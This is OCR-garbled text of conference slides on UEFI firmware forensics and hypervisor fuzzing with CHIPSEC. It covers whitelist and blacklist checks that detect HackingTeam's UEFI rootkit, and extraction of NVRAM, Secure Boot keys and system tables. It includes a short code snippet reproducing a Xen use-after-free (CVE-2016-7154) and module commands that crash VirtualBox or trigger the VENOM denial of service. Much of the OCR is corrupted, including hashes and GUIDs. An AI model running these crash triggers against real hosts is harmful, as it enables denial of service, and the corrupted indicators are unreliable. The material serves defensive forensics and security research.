. . . SmmBackdoor .c (640) : Previous calls count is 1
reg|SterS to |dent|fy a call SmmBackdoor .c (657) : Rumning in SMM
SmmBackdoor .c (681) : SMM system table is at 0xd70069e0
: . SmmBackdoor .c (536) : SMHM protocol notify handler is at Oxd7{024cec
* PrOVIdeS read/wrlte memory accCess. SmmBackdoor .c(503) : Max. SW SMI value is OxEF

.c(514) : SU SHMI handler is at Oxd7024b80

: : SmmBackdoor
EaSIIy eXtenSIbIe SmmBackdoor .c (369} : ProtocolNotifyHandler ) : Protocol ready

Building reliable SMM backdoor for UEFI based platforms



http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html

S0 you've got a system
with suspicious firmware?

Image Source: Anchorman



http://img3.wikia.nocookie.net/__cb20101224032158/jackyman225/images/3/3f/Brick_yelling.jpg

Where to Start From? Firmware Acquisition

1. Obtain clean/original firmware image

1. Extract known good firmware image from a supposedly clean system (or from multiple
systems). For example, when purchased (beware of supply chain attack) or before travel

2. Firmware update image (UEFI “capsule” image) or full firmware image on the platform
manufacturer’s web-site

2. Get the firmware image from suspect system, periodically or when suspect (e.g. after travel)
= If you have an infector sample, make firmware dumps before and after the infection

3. Firmware cane be acquired with software (e.g. CHIPSEC) or hardware tools
* chipsec util spi dump firmware.bin

= |mportant: software based acquisition methods of firmware images can be tampered with.
Whenever possible, use hardware tools to extract firmware

4. Compare the two images (see next slides for detalls)

= Check firmware security advisories to understand how the firmware could be compromised
and infected. This would help determining what to look for when comparing images






Detecting Unexpected Firmware Modifications

Check UEFI firmware image for unexpected modifications, e.g. added EFI executable binaries

chipsec main -m tools.uefi.whitelist [-a check,<json>,<fw image>]

Decodes UEFI firmware image and checks all EFI executable binaries
agalinst a specified list

json JSON file with configuration of white-listed EFI executables

fw image Full file path to UEFI firmware image. If not specified, the
module will dump firmware image directly from ROM



Generating Whitelist...

chipsec main -n -m tools.uefi.whitelist -a generate,orig.json,fw.bin

loaded chipsec.modules.tools.uefi.whitelist
running loaded modules

running module: chipsec.modules.tools.uefi.whitelist
Module arguments (3):
‘orig.json’,

reading firmware from 'fw.bin'...

generating a list of EFI executables from firmware image...
found 278 EFI executables in UEFI firmware image 'fw.bin'
creating JSON file "/home/user/p2/chipsec/orig.json’...

Assumes there’s a way to generate clean (uninfected) list of EFl executables. For
example, from the update image downloaded from the vendor web-site



Checking (U)EFI Executables Against Whitelist...

chipsec main -n -m tools.uefi.whitelist —-a check,orig.json,fw.bin

[X][ Module: simple white-list generation/checking for (U)EFI firmware
b e
[*] reading firmware from 'unpacked'...

[*] checking EFI executables against the list 'C:\chipsec\original.json’

[*] found 279 EFI executables in UEFI firmware image ‘unpacked’

[!] found EFI executable not in the list:
3a4cdca9c5d4fe680bb4b00118c31caeb6c1b5990593875e9024a7e278819b132 (sha256)
64d44b705bb7ae4b8e4d9fbOb3b3c66bcbaae57f (shal)
{F50258A9-2F4D-4DA9-861E-BDA84D07A44C}
rkloader

[!] found EFI executable not in the list:
ed0dco60ed7d3225e21489e7693991d9%e071342e2eebe3baB40ead5c945efa (3
d359a9546b277f16bc495fe7b2e8839b5d0389a8 (shal)
{EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B} Extra EFI executables belong to
o HackingTeam’s UEFI rootkit

[!] found EFI executable not in the list:
dd2b99df1f10459d3a9d173240e909de28eb895614a6b3b7720eebf470a988ab "\ sitaz-v),
421628fal28747c77c51d57a5d09724007692d85 (shal)
{F50248A9-2F4D-4DES-86AE-BDA84DO7A41C}

Ntfs
[!] WARNING: found 3 EFI executables not in the list 'C:\chipsec\original.json’




Verifying Mac EFI whitelist on Mac OS

@& Terminal Shell Edit View Window Help = B2 Wed 12:06 PM

Labs-Air:ichipsec lab} sudo python chipsec_main.py -m tools.uefi.whitelist

Fassward: list -a check,efilist.json, fw.bin
B i AR R R

i e ##
CHIFSEC: Flatform Hardware Security Assessment Framework CHIFSEC

Labs-MacBook-Air:chipsec lab$ sudo python chipsec_main.py -m tools.uefi.white

Flatform Hardware Security Assessment Framework

## i ##

AR R R R R R R R R R R R R R R B L s L e e

[CHIPSEC] Wersion 1.2.5 [CHIPSEC] Wersion 1.2.5

[CHIFSEC] Arguments: -m tools. uefi.whitelist [CHIFSEC] Arguments: -m tools.uefi.whitelist -a check,efilist.json, fu.bin
[CHIFSEC] AFI mode: using CHIFSEC kernel module AFL [CHIFSEC] AFI mode: using CHIFSEC kermnel moduls AFI

[CHIFSEC] 05 : Darwin 16.4.8 Darwin Kernel Yersion l6.4.@: Thu Dec 22 22:53 [CHIPSEC] 0% : Darwin 156.4.08 Darwin Kernel Yersion 16.4.0: Thu Dec 22 22
121 PST 2816; root:xnu-3789.41.3~3/RELEASE_XE6_64 x86_64 ©53:21 PST 2016; root:xnu-3789.41,3~3/RELEASE K86 64 x86 64

[CHIFSEC] Flatform: Mobile 3rd Generation Core Frocessor (Ivy Bridge CPU / Fanth § [cHIFSEC] Flatfarm: Mabile 3rd Generation Core Processar (Ivy Bridge CFU / Fa
er Foint FCH) nther Foint FCH)

[CHIFSEC] WID: 8836 [CHIFSEC] WID: 2086

[CHIFSEC] DID: @154 CHIFSEC] DID: @154

+] loaded chipsec.modules, tools.uefi . whitelist

[*] running loaded modules

I
[+] loaded chipsec.modules, tools. uefi.whitelist g[
[*] running loaded modules ]

[*]1 running module: chipsec.modules. tools.uefi.whitelist
[*] HModule arguments (3):
['check', 'efilist.json', 'fw.bkin']
x
dumping firmware image from ROM to 'fw.bin': @x@0670000 bytes at [Ex00190000 EX%E Modul e
BB7FFFFF]
generating a list of EFI executables from firmware image... [*]
found 249 EFI executables in UEFI firmware image 'fw.bin' [*]
creating J50M file '/Users/lab/Documents/chipsec/efilist. json'. ..

simple white-1list generation/checking for (UYEFI firmware

reading firmware from 'fw.bin'...

checking EFI executables against the list '/lUsers/lab/Documents/chipsec/e
filist.jsan'

[*] found 249 EFI executables in UEFI firmware image 'fw.bin'

[+] FASSED: all EFI executables match the list '/Users/labs/Documents/chipsec/
efilist. json'

[CHIFSEC]

[CHIFSEC] Time elapsed 95,723
[CHIFSEC] Modules total 1

[ ]

[
[

sk sk ok ok ok ok ok ok ok ok ok ok ok ok o sk ok K ok Sk K ok ke ok SUMMARY sk ok ok ok ok ok ok s ok ok ok o sk ok SR Sk ok K ok R K sk ok ok

CHIFSEC Modules failed to run @ [CHIPGECT ook oo sk ok b ok o ook b ok ook ok SUMMARY ok ok ok ok ok ok ok ok sk ok ok ok 3k ok ok ok ok ok sk ok ok ok ok ok ok ok ok

CHIFSEC] Modules passed 1: [CHIFSEC] Time elapsed 7.561
+] FASSED: chipsec . modules. tools. uefi whitelist [CHIFSEC] Modules total 1

[CHIFSEC] Modules failed B [CHIFSEC] Modules failed to run @:
[CHIFSEC] Modules with warnings ©: [CHIPSEC] Modules passed 1:

[CHIFSEC] Modules skipped ©: [+] PASSED: chipsec.modules.tools.uefi.whitelist
Labs-Air:chipsec lab$ [J [CHIPSEC] Modules with warnings ©:
[CHIFSEC] Modules skipped ©:

L[ R[PSS R e 2 < 3 IR € D 3 G5 541 25 010 A 0 03 S AT 0 5 5 5 T

Labs-MacBook-Air:chipsec lab$ I

L0 =&




Blacklisting Bad (U)EFI Executables

Check UEFI firmware image for known bad (vulnerable or malicious) EFI executable binaries

chipsec main -i -m tools.uefi.blacklist [-a <fw image>,<blacklist>]

Examples:
chipsec main.py -m tools.uefi.blacklist

Dumps UEFI firmware image from flash memory device, decodes it and
checks for black-listed EFI modules defined in the default config 'blacklist.json’

chipsec _main.py -1 --no_driver -m tools.uefi.blacklist -a uefi.rom,blacklist.json

Decodes ‘uefi.rom' binary with UEFI firmware image and
checks for black-listed EFI modules defined in 'blacklist.json’ config

Important! This module can only detect what it knows about from its config file.
IT a bad or vulnerable binary is not detected then its 'signature' needs to be added to the config.




Blacklist Example (in JSON format)

"HT UEFI Rootkit": ({

"description": "HackingTeam UEFI Rootkit
(http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-
rootkit.html)",

"match": {
"rkloader" { "guid": "F50258A9-2F4D-4DA9-861E-BDA84D07A44C" 1},
"rkloader name" { "name": "rkloader" },
"Ntfs" { "guid": "F50248A9-2F4D-4DE9-86AE-BDA84D07A41C" 1},
"app" { "guid": "EAEA9AEC-CO9Cl1-46E2-9D52-432AD25A9B0OB"



Checking Firmware for Blacklisted UEFI Executables

chipsec main -n -m tools.uefi.blacklist -a fw.bin

ueti1l checking S_ section ot binary {8DH —HA1S-48C8-BBA /- 3o/0868B1 HO1WMISmmHandler
[uefi1] checking $ _PE32 section of binary {C74233C1-96FD-4CB3-9453-55C907/CE3C8} WMOBWMISmmHandler
[uefi]l checking S _PE32 section of binary {F50248R9-2F4D-4DE9-86AE-BDASADAIAA1CY Nifs
'] match 'HT_UEFI Rootkit.rkloader’
GUID : {F50248R9-2F4D-4DE9-86AE-BDAS4ADAIAL1C]
match HT _UEFI Rootkit.Ntfs _name’
name : 'Nitfs’
found EFI binary matching "HT _UEFI Rootkit’
HackingTeam UEFI Rootkit (http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.
AROBOA18h S _PE3? section of binary {FoB248RA9-2F4D-4DE9-86AE-BDABADAA4A1CY Ntfs: Tupe 108h
MD5S - dobhd784b680c29710c652629bbab33b Tt
SHA1 : &al628falz8talciichldS7abdi9?24007692d85
SHAZ256: dd?b99df1t10459d3a9d173240e909de?8eb895614a6b3b7120eebT470a988a0
[uefi1] checking $_PE32 section of binary {F50258A9-2F4D-4DA9-861E-BDASADATAL4CY rkloader
[*] match 'HT _UEFI Rootkit.Ntfs’
GUID : {FoB258RA9-2F&D-4DA9-861E-BDAS4ADAIALLC])
[*] match 'HT _UEFI Rootkit.rkloader name’
name : rkloader’
[t] found EFI binary matching 'HT _UEFI_Rootkit’
HackingTeam UEFI Rootkit (http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.
ABEBRB18h S_PE32 section of binary {FoB8258RA9-2F4D-4DA9-861E-BDAB4ADAIA44CY rkloader: Type 18h
MDS - 6b433d433011F6671304F87Tbb9413805
SHA1 : 64dé4b705bblaeib8ebtd9tbBb3b3c6bbchaaes
SHAZ256: 3adcdca9cod4tet80bbibBB118c31caebclbb9905938 15e9024ale2 18819b132




Extracting EFI Executables from UEFI Binary

# chipsec util decode firmware.bin

EFI_FV +00004000h {7A9354D2-0468-444A-81CE-0BF617DE20DF}: Size 004F0000n, Attr FFFFEEFFh, HdrSize 0048h, ExtHArOffset 00000000n, Checksum 4C15h
MDE : ecd3cTZefcafeecachdSTE38bTe9fchal
1 21362eca40469a8a83e8fblec3dicdTa24bEcd T _
Scd527bd232aa8d0c50eTTe25d78ad2db63acdT25ddbb64b656639d5bblbddas EFI Firmware Volume

+00000048h EFI FILE {4AS38B18-SAK0-4EBZ-BIEEB-48BE23657022}
Type 05h, Attr 00000040k, State F8h, S5ize 208691h, Checksum AEE3h
MDE 1 314136eSbTcl85c530cd4b 724905305

EFI File

Hal : Tafb3la4dffdTalb4e3eie458c30cf3TI08cTOLE
HoZEg: 177ecdele9113a2e4049a350511b51al066215088%e2cidbffablaTicTacfiilbg

Compressed Section

EFI FV +0000000Ch {7TAS354D5-0468-444A-81CE-OBEFE17DESC0DF}: S5ize 00C00000h, Attr FFFFEEFFh, HdrSize 0048h, ExtHdrOffset 00000000h,
MDE ! b44390441lcebesi850844dbb2Th35fde
Hal @ léb3deblcfaelfeb07b5lal8ealf2fcOSd97ala™

SHAZ2E5E: ed4T7cS203b03f07a94df982beale3T3b018518300d6Te78lecf809bbd7d4cE75Sec Internal Flrmware Volume
+00000048h EFI_FILE {ABEBT4FS0-FD2D-4072-A321-CAFCT297TTEFA} SmmRelocPeim
Type 06h, Attr 00000040h, State F8h, S5ize 000EZZh, Checksum 8422h

MDE ! Z2ecSEheflbdacediZfcfb4ad2le233lb

SHA1 @ 26035ed8S%eblflledd457lbeabe8051a02fci2d4 Internal EFI Flle
SHLZSe: TTebZcbalelb447fbZb4fedf824a4d96c08731dode4fob2f773el0cebbolbbs453

,,,,,,,,,,, _PEI_DEPEX section of binary {ABB74F50-FD2D-4072-A321-CAFCT2977EFA} SmmRelocPeim: Type 1Bh

+00000020h S PE32 section of binary {ABB74F50-FD2D-4072-A321-CAFC72977EFA} SmmRelocPeim: Type 10h
MDS  : d056bd2011991ba5T782e4cT02TEE55%a
SHAT @ 5619206f1d9c22d85d56be634abbETe355C863da Actual PE/COFF EFI Binary
SHAZE6: 55fbSecSS8d64104374205de32E6645003b0Ted0064d8E14T8ch10aT287225ada

+00000ED4h S USER INTERFACE section of binary {ABB74F50-FD2D-4072-A321-CAFC72977EFA} SmmRelocPeim: Type 15h



Saving EFI Tree to JSON

SHA1": "d98cf3bblcee3bb748ade84c871d%9afocfd5elfd”,

SHA256" : "c5f2e7477727719358ae8fab%9a14932d0e85463d57667ec7e9a7e7dd797F7710",
Name™ : "F50258A9-2FAD-ADAS-861E-BDAB4ADG/ALAC™,

isNVRAM": false,

up": false,

Checksum”: 23897,

Offset”: 5904768,

class": "EFI_FILE",

file path”: "unpacked.dir''\1 200000-7FFFFF BIOS.bin.dir'\FV' 80 7A9354D9-0468-444AA-81CE-BBF617D890BDF.dir" 08 AA538818-5AEQ-4E
State”: 248,

Size": 1794,

ui string”: "rkloader”,

CalcSum”: 43577,

Attributes”: @,
Guid": "F58258A9-2FAD-ADAS-861E-BDABADBTALAC™,
Type " : 7,
children”: [
{

SHA1": "64d44b785bb7aedb8edd9ftbBb3b3c66bcbaaeb71”,

Name": "5 PE32",

isNVRAM": false,

class": "EFI_SECTION",

file path”: "unpacked.dir''\1_2008000-7FFFFF_BIOS.bin.dir' \FV' 00 7A9354D9-0468-444A-81CE-OBF617D898DF.dir" 88 4A538818-5AE
parentGuid"”: "F58258A9-2FAD-4DA9-861E-BDABADBTALAC",

Offset”: 24,

ui string”: “rkloader”,

SHA256" : "3adcdca9c5d4fe680bbdbBB118c31caecbcl1b59908593875e9024a7e278819b132",
Type : 16,

HeaderSize": 4,

MD5": "6b433d433011f667304f87+bb94138085




Tools

Other great tools to extract and decode UEFI firmware images

1. UEFITool: GUI software by Nikolaj Schlej
2. uefi-firmware-parser by Teddy Reed

3. flashrom to extract firmware images from SPI flash



https://github.com/LongSoft/UEFITool
https://github.com/theopolis/uefi-firmware-parser
https://www.flashrom.org/Flashrom

Firmware Artifacts

To perform system firmware forensics, the following artifacts can be extracted
and analyzed:

Layout and entire contents of SPI Flash memory

BIOS/UEFI firmware including EFI binaries and NVRAM

Runtime or Boot UEFI Variables (non-volatile and volatile)

UEFI Secure Boot certificates (PK, KEK, db/dbx ..)

UEFI system and configuration tables (Runtime, Boot and DXE services)
UEFI S3 resume boot script table

N o gk~ wbhE

PCle option (expansion) ROMs



Firmware Artifacts

8. Settings stored in RTC-backed CMOS memory

9. ACPI tables

10. SMBIOS table

11.HW protection settings (e.g. SPI1 W/P)

12. System security settings (Secure Boot, etc.)

13. Contents of TPM Platform Configuration Registers (PCR)

14. Firmware images from other components such as HDD/SSD, NIC,
Embedded Controller, etc.

15.MBR/VBR or UEFI GUID Partition Table (GPT)
16. Files on EFI system partition (boot loaders)



Extracting EFlI Configuration (from the image)

Firmware NVRAM configurations is extracted when UEFI firmware image is decoded

Alternatively, this command can be used:

chipsec util uefi nvram nvar rom.dump.bin

Path to extracted/parsed NVRAM contents:
NVRAM dump: rom.dump.bin.dir\nvram nvar.nvram.bin

Decoded variables: rom.dump.bin.dir\nvram nvar.nvram.lst
Format of NVRAM and variables are platform/firmware specific.

CHIPSEC supports multiple types of NVRAM: EVSA, NVAR, VSS, VSS AUTH, VSS APPLE



Extracting EFI Configuration (on a live system)

chipsec util uefi var-1list

+Mame Ext Size
"| AcpiGlobalVariable_C020489E-6DB2-4EF2-9AAG-CAOGFC11D36A_NV+BS+RT_1  bin f
“| AMITSE Setup_C811FA38-42C8-4579-A9BB-60E 94EDDFB34_NV+BS+RT_D bin 81 ) )
' Boot0000_8BE4DFE1-93CA-11D2-AA0D-00E098032BSC_NV+BS+RT_0 bin 136 AcpiG lobalVariable
" BootDD01_8BE4DF61-93CA-11D2-AADD-00E 098032B8C_NV+BS+RT_D bin 300
*| BootCurrent_8BEADF61-93CA-11D2-AA0D-00E098032BSC_BS+RT_D bin 2
" BootOptionSupport_8BE 4DF61-93CA-11D2-AA0D-00EN98032B8C_BS+RT_0 bin 4
" BootOrder_8BEADFG1-93CA-11D2-AADD-D0E098032B8C_NV+BS+RT_D bin 10
" db_D719B2CB-3D3A-4596-A3BC-DADODEG7656F_NV+BS+RT+TBAWS_0 bin 3.143
"| dbx_D719B2CB-3D 3A-4596-A3BC-DADDDEG7G656F _NV+BS+RT+TBAWS_0 bin 76
*| DimmSPDdata_A09A3266-0D 9D -476A-BSEE-0C226BE 16644_NV+BS+RT_0 bin 8 BootOrder vars
*| DmiD ata_70ES6C5E-280C-44B0-A497-09681ABC375E_NV+BS+RT_D bin 397
*| FastBootOption_B540A530-6978-4DA7-91CB-7207D 764D 262_NV+BS+RT_D bin 284
| FlashinfoStructure_82FD6BD8-02CE-419D -BEFO-C47C2F123523_NV+BS+RT_D bin 7
" Guid1394_F9861214-9260-47E1-BCBB-52AC033E7EDS_NV+BS+RT_0 bin 8
“| KEK_SBE 4DF61-93CA-11D2-AADD-D0E 098032B8C_NV+BS+RT+TBAWS_D bin 1.560
" LastBoot_B540A530-6978-4DA7-91CB-7207D764D262_NV+BS+RT_0 bin 10 Secure Boot
"| LegacyDevDrder_AS6074DB-65FE-45F7-BD 21-2D2BDDSE9652_NV+BS+RT_D bin 16 e
*| MaintenanceSetup_EC87D643-EBA4-4BB5-A1E5-3F3E36B20DA9_NV+BS+RT_0  bin 410 certificates (PK,
“| HEFWVersion_9B875AAC-36E C-4550-A4AE-86C84E 96767E_NV+BS+RT_D bin 20 KEK. db de)
"| MemorySize_GF 20F7C8-ESEF-4F21-8D19-EDCSFOCA96AE_NV+BS+RT_D bin 8 J 1
“| MemoryT ypelnformation_4C19049F-4137-4DD3-9C10-8B97A83FFDFA_NV+BS+RT_0D bin 64
" MrcS 3Resume_87F22DCB-7304-4105-BB7C-317143CCC23B_NV+BS+RT_D bin 4,052

| MBPlatformD ata_ECE7D643-EBA4-4BB5-ATED-3F3E36B20DAT_BS+RT_ ﬁ [--]

| Oslndications_BBE 4DF61-93CA-11D2-AAOD-0DE038032BBC_NV+BS+R'| " 14h D719B2CB-3D3A-4596-A3BC-DADDDEG7656F_NY+BS+RT+TBAWS_0.bin.dir]
] s St AT Do ST o1 85D Neses T L] [dbx_D719B2CB-3D3A-4596-A3BC-DADODEG7656F_NV-+BS +RT+TBAWS_.bin.dir]
"/ PK_SBE4DFG1-93CA-11D2-AADD-0DE098032B8C_NV+BS+RT+TBAWS_||_1[PK_8S8BE4DFE1-93CA-11D2-AADD-00EDIE032B8C_NV+BS5+AT+TBAWS_0.bin.dir]
"| PKDefault_SBE4DFE1-93CA-11D2-AADD-D0E0I8032B8C_NV+BS+RT_0| J[SecureBoot_SBEADFE1-93CA-11D2-AA0D-00E098032B8C_BS+RT_0.bin.dir]

| SecureBoot_S8BEADFE1-93CA-11D2-AAOD-00E038032B8C_BS+RT_0 /™76 atypMode_8BE4DF61-93CA-11D2-AA0D-00E098032B8C_BS+RT_0_bin.dir]
r

| SecurityT okens_6320A8C8-9C93-4A71-B529-9F79CE761B8D_NV+BS+F )1 _u Din 1

| Setup_EC87YD643-EBA4-4BB5-A1ES-3F3E36B20DA9_NY+B5+RT_D bin 410

| SetupDefault_EC87D643-EBA4-4BB5-ATES-3F3E36B20DAI_NVY+BS+RT_0 bin A1

SetupMode_8BE4DFE1-33CA-11D2-AA0D-00E098032B8C_BS+RT_D bin 1 :

jSetupPIatfurmDala_EEB?DE43-EBA4-4BBﬁ-ﬁﬂE5-3F3E3EBZI]DAEI_BS+FIT_I] bin 16 Setu p Varlable
“| SignatureSupport_8BE4DFE1-93CA-11D2-AA0D-00ED98032B8C_BS+RT_0 bin 80

| TpmDeviceSelectionUpdate_EC87DG643-EBA4-4BB5-A1E5-3F3E36B20DAI_NY+BS_. bin 1

| TiEEPhysicalPresence F24643C2-C622-494E-BA0D-4632579C2D58_NV+BS+AT_0 bin 12

{ | UsbSupport_EC87D643-EBA4-4BB5-A1ESL-3F3E36B20DAT NV+BS+RT_0 bin 32




Extracting UEFI Secure Boot keys...

chipsec util uefi var-find PK / db / dbx / KEK

chipsec util uefi keys db.bin / dbx.bin / kek.bin
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Name

X5689-77FA9ABD-0359-4D32-BD60-28FAE78F784B-081 .b1in
X5089-7FACC7B6-127F-4F9C-9C5D-080F98994345-00 . bin




[uefi] EFI System Table:

49 20 53 54
11 86 00 00
00 06 00 00
00 00 00 00
00 06 00 00
00 00 00 00
00 00 00 00
bf ff ff ff

Signature
Revision A |
HeaderSize

: IBI SYST

: BxB0BBBe78

CRC32 : Bx86111533

Reserved :
EFI System Table:
FirmwareVendor
FirmwareRevision
ConsoleInHandle
ConIn
ConsoleQutHandle
ConOut
StandardErrorHandle
StdErr
RuntimeServices
BootServices
NumberOfTableEntries:
ConfigurationTable

: BxB0000008

: OxFFFFFFFFFF453398
: Bx0000000000002270
: Bx0000000000000000
: Bx0000000000000000
: Bx0000000000000000
: Bx0000000000000000
: Bx0000000000000000
: Bx000000000PRRRRRY
: OxFFFFFFFFFFBFAELS
: Bx0000000000ERRRRY

0x0000000000000008

: @xFFFFFFFFFFBFIELS

[uefi] UEFI appears to be in Runtime mode

55 de 54 53 45 52 56 1f
aa 42 cb 00 00 00 00 2c
2c ed fe ff ff ff ff 20
30 e0 fe ff ff £f £f dc
14 65 da 00 00 00 00 34
oc d6 fe ff ff ff £f 3c
e3 e0 fe ff ff ff ff 60
fa e0 fe ff ff ff £f 9c
of d6 fe ff ff ff ff

Header:

Signature : RUNTSERV
Revision : 2.31

HeaderSize . @x000e008
CRC32 : BxCB42AA6
Reserved : BxPooeee

Runtime Services:

GetTime

SetTime
GetWakeupTime
SetWakeupTime
SetVirtualAddressMap
ConvertPointer
GetVariable
GetNextVariableName
SetVariable

5%
2b
2e
14
eb
Be
96
fd

8
F
%

Locating UEFI System Table & Runtime Services

chipsec util uefi tables

[uefi] EFI Runtime Services Table:

82 @0
ed fe
ed fe
65 da
dé fe
de fe
da4 fe
el fe

: OxFFFFFFFFFEEG2B2C
: OxFFFFFFFFFEE@2CBC
: OxFFFFFFFFFEEB2E20
: OxFFFFFFFFFEEG30BBC
: Bx00008000DAG514DC
: Bx00000000DAG51400
: OxFFFFFFFFFEDGBB34
: OxFFFFFFFFFEDGACES
: OxFFFFFFFFFEDGAESC

GethNextHighMonotonicCount:
: OxFFFFFFFFFED49660
: OxFFFFFFFFFEEOFAFS

ResetSystem
UpdateCapsule

QueryCapsuleCapabilities :
: @xFFFFFFFFFEDBOFCC

QueryVariableInfo

OxFFFFFFFFFEEBE3EC

@xFFFFFFFFFEE@FDIC




Extracting CMOS Settings...

[CHIPSEC] Dumping CMOS memory. .
CMO5 contents:

1...2... ...5...6...
33 10 11
OE
FF FF FF FF
20 FF FF E1 @C FF
chipsec util cmos dump 9. - FF FF

b0 @8 @8 FF FF FF FF
FF FF FF FF FF FF FF
FF FF FF FF FF FF FF

High CMOS contents:
1...2...3 A...5...6...7...
FF FF FF FF FF
FF FF FF FF FF

FF FF FF FF FF FF
00 @0 00 00 00
@@ FF FF FF FF FF FF
FF FF FF FF FF FF FF
FF FF FF EF FF FF FF
FF FF FF FF FF FF FF
[CHIPSEC] (cmos) time elapsed 6.011




Locating ACPI Tables...

DAB71000

Signature
Checksum

OEM ID
Revision
RSDT Address
Length

XSDT Address
Extended Che
Reserved

chipsec util acpi list

cksum:

[acpi] found XSDT at PA:
[CHIPSEC] EnumeratlnEr HCPI tab
MSDM: @x AODAG1EELS
BGRT: @& % DABE//718
HPET: & % DABB5426
XSDT: & 1% DﬂS?lHGS
ECDT:
FPDT:
APIC:
FACP:
MCFG:
55DT:







Fuzzing and exploring hypervisors...

% Hypercall fuzzers:
tools.vmm. * . hypercallfuzz

® Fuzzing modules for emulated devices:

tools.vmm. *_fuzz

/O, MSR, PCle device, MMIO overlap, more soon ...

% Tools to explore VMM hardware config

chipsec util iommu (IOMMU)
chipsec util vmm (CPU VM extensions)



Fuzzing Xen Hypercalls

chipsec main -i -m tools.vmm.xen.hypercallfuzz -a

« Some hypercalls tend to crash the guest too often

* Most tests fails on sanity checks

[x]I

[x] [ Module: Xen Hypervisor Hypercall Fuzzer

[x]I

[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]
[CHIPSEC]

Fuzzing HVM OP (0x22) hypercall

kkkkkkkkkkkkkkkkkkk** Hypercall status codes **xkxkkkkkkkkkkkkkkk

Invalid argument - XEN ERRNO EINVAL :
Function not implemented - XEN_ ERRNO ENOSYS :
Status success - XEN STATUS_ SUCCESS :

No such process - XEN_ERRNO ESRCH :
Operation not permitted - XEN ERRNO EPERM :

578
170
114
89
49

fuzzing,22,1000




Example: Crashing Xen Host by Unprivileged Guest (XSA 188)

Finding CVE-2016-7154 by fuzzing Xen hypercalls:

chipsec main -i -m tools.vmm.xen.hypercallfuzz -a fuzzing,20,1000000

Reproducing CVE-2016-7154:

(args _va, args pa) = self.cs.mem.alloc physical mem(0x1000, OxFFFFFFFFFFFFFFFF)
self.cs.mem.write physical mem(args pa, 24, '\xFF' * 8 + '\x00' * 16)
self.vmm.hypercall64 five args (EVENT CHANNEL OP, EVTCHOP_ INIT CONTROL, args_va)

self.vmm.hypercall64 five args (EVENT CHANNEL OP, EVTCHOP INIT CONTROL, args_va)

Turns out when the PFN parameter is invalid, hypercall returns XEN ERRNO EINVAL
error, but doesn’t zero out internal pointer = Use-After-Free



Fuzzing CPU Model Specific Registers...

chipsec main -i -m tools.vmm.msr fuzz

test@test-Virtual-Machine:~/chipsec$ sudo python chipsec main.py -i -m tools.vmm.msr_fuzz
[#*] Ignoring unsupported platform warning and continue execution

R R A R A R R A S S R A R R A R A R A

1513 wH

## CHIPSEC: Platform Hardware Security Assessment Framework ##

1513 wH

R R A R A R R A S S R A R R A R A R A

[CHIPSEC] Version 1.2.5

[CHIPSEC] Arguments: -i -m tools.vmm.msr_fuzz

w#kdrdk Chipsec Linux Kernel module is licensed under GPL 2

[CHIPSEC] API mode: using CHIPSEC kernel module API

ERROR: Unsupported Platform: VID = 0x8086, DID = 0x7192

ERROR: Platform is not supported (Unsupported Platform: VID = 0x8086, DID = 0x7192).
NARNING: Platform dependent functionality is likely to be incorrect

[CHIPSEC] 0§ : Linux 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x36 64
[CHIPSEC] Platform: UnknownPlatform

[CHIPSEC] VID: 8086

[CHIPSEC] DID: 7192

[+] loaded chipsec.modules.tools.vmm.msr fuzz
[*] running loaded modules

* runnlng module: chipsec.modules.tools.vmm.msr fuzz

[ =
[ ]
[ =

-

[
[X
[x
[X
[

]
(]
(]
(]
1 {onflguratlon

Mode: sequential

MSR range, High MSR range
Fuzzing Low MSR range.. .
Fuzzing MSRs in range 0x00000000:0x00010000. . VMM synthetic MSR range




Issues In MSR Hypervisor Emulation

CVE-2015-0377

Writing arbitrary data to upper 32 bits of ITA32 APIC BASE MSR causes VMM and
host OS to crash on Oracle VirtualBox 3.2, 4.0.x-4.2.X

chipsec main —-m tools.vmm.vbox.vbox crash apicbase

XSA-108

A buggy or malicious HVM guest can crash the host or read data relating to other guests

or the hypervisor itself by reading MSR from range [0x100;0x3ff]. Discovered by Jan
Beulich



Fuzzing Hypervisor Emulation of I/O Ports...

chipsec main -1 -m tools.vmm.iofuzz

test@test-Virtual-Machine:~/chipsec$ sudo python chipsec main.py -i -m tools.vmm.iofuzz
[*] Ignoring unsupported platform warning and continue execution

X][ e
x][ Module: =
[X] [ =======================================================================
Usage: chipsec_main -m tools.vmm.iofuzz [ -a <mode>,<count>,<iterations= ]
mode I/0 handlers testing mode

= exhaustive Tuzz all I/0 ports exhaustively (default)

= random fuzz randomly chosen I/0 ports
count how many times to write to each port (default = 1000)
iterations number of I/0 ports to fuzz (default = 1000000 in random mode)

[*] Configuration:
Mode : exhaustive
Write count : 1000

Ports/iterations: 65536 .
J J 7 Fuzzer covers entire I/O port range
[#] Fuzzing I/0 ports in a range 0:0xFFFF.. with 1000 writes to each port

[*] fuzzing I/0 port Ox0000



Example: VENOM Vulnerability

VENOM vulnerability (discovered by CrowdStrike researchers)

chipsec main -i —-m tools.vmm.venom

test@test-Virtual-Machine:~/chipsec$ sudo python chipsec main.py -i -n -m tools.vmm.venom

[*] Ignoring unsupported platform warning and continue execution

L 8L 8L e e b 8L A 8L 1 8 L 8L | 8 L 8L L L L I B I S S IS SIS I S 1

HHi ##

## CHIPSEC: Platform Hardware Security Assessment Framework ##

hisia #H

B L e e B I g i i

[CHIPSEC] Version 1.2.5

[CHIPSEC] Arguments: -i -n -m tools.vmm.venom

[CHIPSEC] API mode: using 0S native API (not using CHIPSEC kernel module)

[CHIPSEC] 0S : Linux 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x386 64
[CHIPSEC] Platform: UnknownPlatform
[CHIPSEC] VID: 8086
[CHIPSEC] DID: 7192

[+] loaded chipsec.modules.tools.vmm.venom
[*] running loaded modules

: chipsec .modules.tools.vmm. venom . . - ., .
__________________ poec Modures Toors vmm.venem Trigger Venom vulnerability by writing

Module: QEMU VENOM vulnerability DoS PoC to port 0x3F5 (FDC data) value O0x8E and
0x10000000 of random bytes

J



venom.crowdstrike.com

